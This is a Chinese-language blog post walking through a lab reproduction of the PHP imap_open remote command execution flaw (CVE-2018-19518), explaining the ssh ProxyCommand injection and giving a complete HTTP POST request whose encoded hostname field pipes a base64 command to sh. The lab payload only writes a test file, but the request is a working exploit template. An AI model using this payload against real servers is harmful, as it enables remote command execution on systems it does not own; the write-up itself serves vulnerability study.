PHP imap 远程命令执行漏洞(CVE-2018-19518)

Before hack

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

成功的攻击可能允许攻击者绕过其他禁用的 exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意 shell 命令。

imap_open(string $mailbox , string $username , string $password)函数中的mailbox是执行命令参数的一部分,所以我们可以通过更改邮箱名来进行命令注入执行

通过“ProxyCommand”选项,机器A能够灵活使用任意代理机制与机器C上的SSH Server端口建立连接,接着机器A上的SSH Client再与该连接进行数据交互,从而机器A上的SSH Client与机器C上的SSH Server之间建立了与一般“直接SSH连接”不太一样的“间接SSH连接”。不过由于“间接SSH连接”的透明性,逻辑上可认为机器A上的SSH Client与机器C上的SSH Server建立了“直接SSH连接”。

对内容要进行base64编码,其中一些符号需要url编码,+(%2b)、TAB(%09)、=(%3d);
-oProxyCommand:-o 是ssh的参数,ProxyCommand是ssh的一个选项;
-oProxyCommand=echo,后面跟要执行的命令的base64编码,因为使用sh或bash执行命令时时原字符串所以需要base64解码一次再输出到sh执行,形式就是:echo [base64_code] | base64 -d ;

“|”:管道符,将两个命令隔开,管道符左边命令的输出会作为右边命令的输入。

例如:

x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}

ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo 解码可以得到 echo '1234567890'>/tmp/test0001

hack it

启动环境

进行抓包.

对hostname进行修改:

imap_open(string $mailbox , string $username , string $password)函数中的mailbox是执行命令参数的一部分,所以我们可以通过更改邮箱名来进行命令注入执行。
构造payload修改邮箱名:

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

docker exec -it ca5f69c9bd9 /bin/bash

进入到docker的命令执行交互模式.

执行成功。

posted @ 2024-02-29 19:05  AllFalls  阅读(77)  评论(0编辑  收藏  举报